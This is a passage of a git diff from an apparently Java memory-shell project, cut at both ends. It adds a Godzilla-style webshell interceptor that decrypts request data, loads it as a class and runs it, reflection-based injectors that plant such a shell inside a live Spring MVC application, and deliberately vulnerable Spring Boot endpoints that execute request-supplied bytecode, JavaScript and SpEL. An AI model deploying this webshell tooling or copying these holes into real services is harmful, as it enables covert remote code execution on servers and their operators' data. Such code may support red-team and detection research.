SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java new file mode 100644 index 00000000..7b4f707d --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java @@ -0,0 +1,115 @@ +package com.reajason.javaweb.memshell.springmvc.godzilla; + +import org.springframework.web.servlet.AsyncHandlerInterceptor; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaInterceptor(ClassLoader c) { + super(c); + } + + public GodzillaInterceptor() { + } + + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaInterceptor(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f; + try { + f = ((Class) session.getAttribute("payload")).newInstance(); + } catch (Exception e) { + throw new RuntimeException(e); + } + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + } + return false; + } + } catch (Exception e) { + e.printStackTrace(); + } + return true; + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringControllerHandlerInterceptor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringControllerHandlerInterceptor.java new file mode 100644 index 00000000..893489b3 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringControllerHandlerInterceptor.java @@ -0,0 +1,204 @@ +package com.reajason.javaweb.memshell.springmvc.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.Map; +import java.util.Set; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +public class SpringControllerHandlerInterceptor { + + static { + new SpringControllerHandlerInterceptor(); + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public SpringControllerHandlerInterceptor() { + try { + Object context = getContext(); + Object interceptor = getShell(); + inject(context, interceptor); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public Class getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException { + try { + return classLoader.loadClass("javax.servlet.ServletContext"); + } catch (Throwable e) { + return classLoader.loadClass("jakarta.servlet.ServletContext"); + } + } + + @SuppressWarnings("unchecked") + public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Object context = null; + try { + Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); + Object request = invokeMethod(requestAttributes, "getRequest"); + Object session = invokeMethod(request, "getSession"); + Object servletContext = invokeMethod(session, "getServletContext"); + context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext}); + } catch (Exception e) { + e.printStackTrace(); + } + if (context == null) { + try { + Set applicationContexts = (Set) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); + Object applicationContext = applicationContexts.iterator().next(); + if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { + context = applicationContext; + } + } catch (Exception e) { + e.printStackTrace(); + } + } + return context; + } + + private Object getShell() throws Exception { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Object interceptor = null; + try { + interceptor = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + interceptor = clazz.newInstance(); + } + return interceptor; + } + + @SuppressWarnings("unchecked") + public void inject(Object context, Object controller) throws Exception { + Class beanNameUrlHandlerMappingClass = null; + try { + beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping"); + } catch (ClassNotFoundException e) { + beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.SimpleUrlHandlerMapping", false, context.getClass().getClassLoader()); + } + Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass}); + Map handlerMap = (Map) getFieldValue(beanNameUrlHandlerMapping, "handlerMap"); + if (handlerMap.get(getUrlPattern()) != null) { + System.out.println("controller already injected"); + return; + } + handlerMap.put(getUrlPattern(), controller); + System.out.println("controller injected successfully"); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) throws + Exception { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringInterceptorInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringInterceptorInjector.java new file mode 100644 index 00000000..704005fc --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringInterceptorInjector.java @@ -0,0 +1,201 @@ +package com.reajason.javaweb.memshell.springmvc.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.List; +import java.util.Set; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +public class SpringInterceptorInjector { + + static { + new SpringInterceptorInjector(); + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public SpringInterceptorInjector() { + try { + Object context = getContext(); + Object interceptor = getShell(); + inject(context, interceptor); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public Class getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException { + try { + return classLoader.loadClass("javax.servlet.ServletContext"); + } catch (Throwable e) { + return classLoader.loadClass("jakarta.servlet.ServletContext"); + } + } + + @SuppressWarnings("unchecked") + public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Object context = null; + try { + Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); + Object request = invokeMethod(requestAttributes, "getRequest"); + Object session = invokeMethod(request, "getSession"); + Object servletContext = invokeMethod(session, "getServletContext"); + context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext}); + } catch (Exception e) { + e.printStackTrace(); + } + if (context == null) { + try { + Set applicationContexts = (Set) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); + Object applicationContext = applicationContexts.iterator().next(); + if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { + context = applicationContext; + } + } catch (Exception e) { + e.printStackTrace(); + } + } + return context; + } + + private Object getShell() throws Exception { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Object interceptor = null; + try { + interceptor = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + interceptor = clazz.newInstance(); + } + return interceptor; + } + + @SuppressWarnings("unchecked") + public void inject(Object context, Object interceptor) throws Exception { + Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"}); + System.out.println(abstractHandlerMapping.getClass().getName()); + List adaptedInterceptors = (List) getFieldValue(abstractHandlerMapping, "adaptedInterceptors"); + for (Object adaptedInterceptor : adaptedInterceptors) { + if (adaptedInterceptor.getClass().getName().equals(getClassName())) { + System.out.println("interceptor already injected"); + return; + } + } + adaptedInterceptors.add(interceptor); + System.out.println("interceptor injected successfully"); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) throws + Exception { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } +} diff --git a/memshell/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java b/memshell/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java new file mode 100644 index 00000000..1e1a981e --- /dev/null +++ b/memshell/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java @@ -0,0 +1,4 @@ +package org.springframework.web.servlet; + +public interface AsyncHandlerInterceptor { +} diff --git a/memshell/src/main/java/org/springframework/web/servlet/ModelAndView.java b/memshell/src/main/java/org/springframework/web/servlet/ModelAndView.java new file mode 100644 index 00000000..1aa6b05c --- /dev/null +++ b/memshell/src/main/java/org/springframework/web/servlet/ModelAndView.java @@ -0,0 +1,8 @@ +package org.springframework.web.servlet; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +public class ModelAndView { +} diff --git a/memshell/src/main/java/org/springframework/web/servlet/mvc/Controller.java b/memshell/src/main/java/org/springframework/web/servlet/mvc/Controller.java new file mode 100644 index 00000000..b96375a8 --- /dev/null +++ b/memshell/src/main/java/org/springframework/web/servlet/mvc/Controller.java @@ -0,0 +1,8 @@ +package org.springframework.web.servlet.mvc; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +public interface Controller { +} diff --git a/settings.gradle b/settings.gradle index c90fbac8..41049bc2 100644 --- a/settings.gradle +++ b/settings.gradle @@ -12,4 +12,6 @@ include 'integration-test' include 'vul' include 'vul:vul-webapp' include 'vul:vul-webapp-jakarta' -include 'vul:vul-webapp-expression' \ No newline at end of file +include 'vul:vul-webapp-expression' +include 'vul:vul-springboot2' +include 'vul:vul-springboot3' diff --git a/vul/vul-springboot2/Dockerfile b/vul/vul-springboot2/Dockerfile new file mode 100644 index 00000000..b4b2fd18 --- /dev/null +++ b/vul/vul-springboot2/Dockerfile @@ -0,0 +1,8 @@ +FROM openjdk:8 +WORKDIR /app + +COPY build/libs/vul-springboot2.jar /app/app.jar + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS -jar app.jar \ No newline at end of file diff --git a/vul/vul-springboot2/build.gradle b/vul/vul-springboot2/build.gradle new file mode 100644 index 00000000..25e4c8a7 --- /dev/null +++ b/vul/vul-springboot2/build.gradle @@ -0,0 +1,24 @@ +plugins { + id 'org.springframework.boot' version '2.7.6' + id 'io.spring.dependency-management' version '1.0.15.RELEASE' + id 'java' + id 'war' +} + +group = 'com.reajason.javaweb.vul' +version = '' +sourceCompatibility = '1.8' + +repositories { + mavenCentral() +} + +dependencies { + implementation 'org.springframework.boot:spring-boot-starter-web' + providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat' + testImplementation 'org.springframework.boot:spring-boot-starter-test' +} + +tasks.named('test') { + useJUnitPlatform() +} diff --git a/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java new file mode 100644 index 00000000..b7292fa7 --- /dev/null +++ b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.vul.springboot2; + +import com.fasterxml.jackson.annotation.JsonAutoDetect; +import com.fasterxml.jackson.annotation.PropertyAccessor; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.SerializationFeature; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.context.annotation.Bean; + +@SpringBootApplication +public class VulSpringboot2Application { + + public static void main(String[] args) { + SpringApplication.run(VulSpringboot2Application.class, args); + } +} diff --git a/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/Base64ClassLoaderController.java b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/Base64ClassLoaderController.java new file mode 100644 index 00000000..afc38d6a --- /dev/null +++ b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/Base64ClassLoaderController.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/b64") +public class Base64ClassLoaderController extends ClassLoader { + @PostMapping + public String base64ClassLoader(String data) throws Exception { + byte[] bytes = Base64.getDecoder().decode(data); + Object o = defineClass(null, bytes, 0, bytes.length).newInstance(); + return o.toString(); + } +} diff --git a/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java new file mode 100644 index 00000000..c3191138 --- /dev/null +++ b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +public class IndexController { + + @RequestMapping("/test") + public String test() { + return ""; + } + + @GetMapping("/") + public String index() { + return "hello"; + } +} diff --git a/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/ScriptEngineController.java b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/ScriptEngineController.java new file mode 100644 index 00000000..6756f750 --- /dev/null +++ b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/ScriptEngineController.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.script.ScriptEngineManager; +import javax.script.ScriptException; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/js") +public class ScriptEngineController { + + @PostMapping + public ResponseEntity js(String data) throws ScriptException { + return ResponseEntity.ok().body(String.valueOf(new ScriptEngineManager().getEngineByName("js").eval(data))); + } +} diff --git a/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/SpELController.java b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/SpELController.java new file mode 100644 index 00000000..b6364303 --- /dev/null +++ b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/SpELController.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.expression.spel.support.StandardEvaluationContext; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/spel") +public class SpELController { + + @PostMapping + public ResponseEntity spel(String data) { + return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext()))); + } +} diff --git a/vul/vul-springboot2/src/main/resources/application.yaml b/vul/vul-springboot2/src/main/resources/application.yaml new file mode 100644 index 00000000..e69de29b diff --git a/vul/vul-springboot2/src/test/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2ApplicationTests.java b/vul/vul-springboot2/src/test/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2ApplicationTests.java new file mode 100644 index 00000000..0f0e15a7 --- /dev/null +++ b/vul/vul-springboot2/src/test/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2ApplicationTests.java @@ -0,0 +1,13 @@ +package com.reajason.javaweb.vul.springboot2; + +import org.junit.jupiter.api.Test; +import org.springframework.boot.test.context.SpringBootTest; + +@SpringBootTest +class VulSpringboot2ApplicationTests { + + @Test + void contextLoads() { + } + +} diff --git a/vul/vul-springboot3/Dockerfile b/vul/vul-springboot3/Dockerfile new file mode 100644 index 00000000..c16e0b56 --- /dev/null +++ b/vul/vul-springboot3/Dockerfile @@ -0,0 +1,8 @@ +FROM openjdk:17 +WORKDIR /app + +COPY build/libs/vul-springboot3.jar /app/app.jar + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS -jar app.jar \ No newline at end of file diff --git a/vul/vul-springboot3/build.gradle b/vul/vul-springboot3/build.gradle new file mode 100644 index 00000000..13d46c8d --- /dev/null +++ b/vul/vul-springboot3/build.gradle @@ -0,0 +1,20 @@ +plugins { + id 'java' + id 'war' + id 'org.springframework.boot' version '3.3.7' + id 'io.spring.dependency-management' version '1.1.7' +} + +group = 'com.reajason.javaweb.vul' +version = '' + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(17) + } +} + +dependencies { + implementation 'org.springframework.boot:spring-boot-starter-web' + providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat' +} diff --git a/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java new file mode 100644 index 00000000..d52ed2ef --- /dev/null +++ b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.vul.springboot3; + +public class ClassDefiner extends ClassLoader { + private ClassDefiner() { + } + + public static Class defineClass(byte[] code) { + return new ClassDefiner().defineClass(null, code, 0, code.length); + } +} \ No newline at end of file diff --git a/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java new file mode 100644 index 00000000..4c06ba9e --- /dev/null +++ b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java @@ -0,0 +1,12 @@ +package com.reajason.javaweb.vul.springboot3; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class VulSpringboot3Application { + + public static void main(String[] args) { + SpringApplication.run(VulSpringboot3Application.class, args); + } +} diff --git a/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java new file mode 100644 index 00000000..96e19600 --- /dev/null +++ b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import com.reajason.javaweb.vul.springboot3.ClassDefiner; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/b64") +public class Base64ClassLoaderController { + + @PostMapping + public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException { + byte[] bytes = Base64.getDecoder().decode(data); + Object o = ClassDefiner.defineClass(bytes).newInstance(); + return o.toString(); + } +} \ No newline at end of file diff --git a/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java new file mode 100644 index 00000000..1df49d6d --- /dev/null +++ b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java @@ -0,0 +1,123 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +public class IndexController { + + @RequestMapping("/test") + public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + return ""; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) throws + Exception { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException 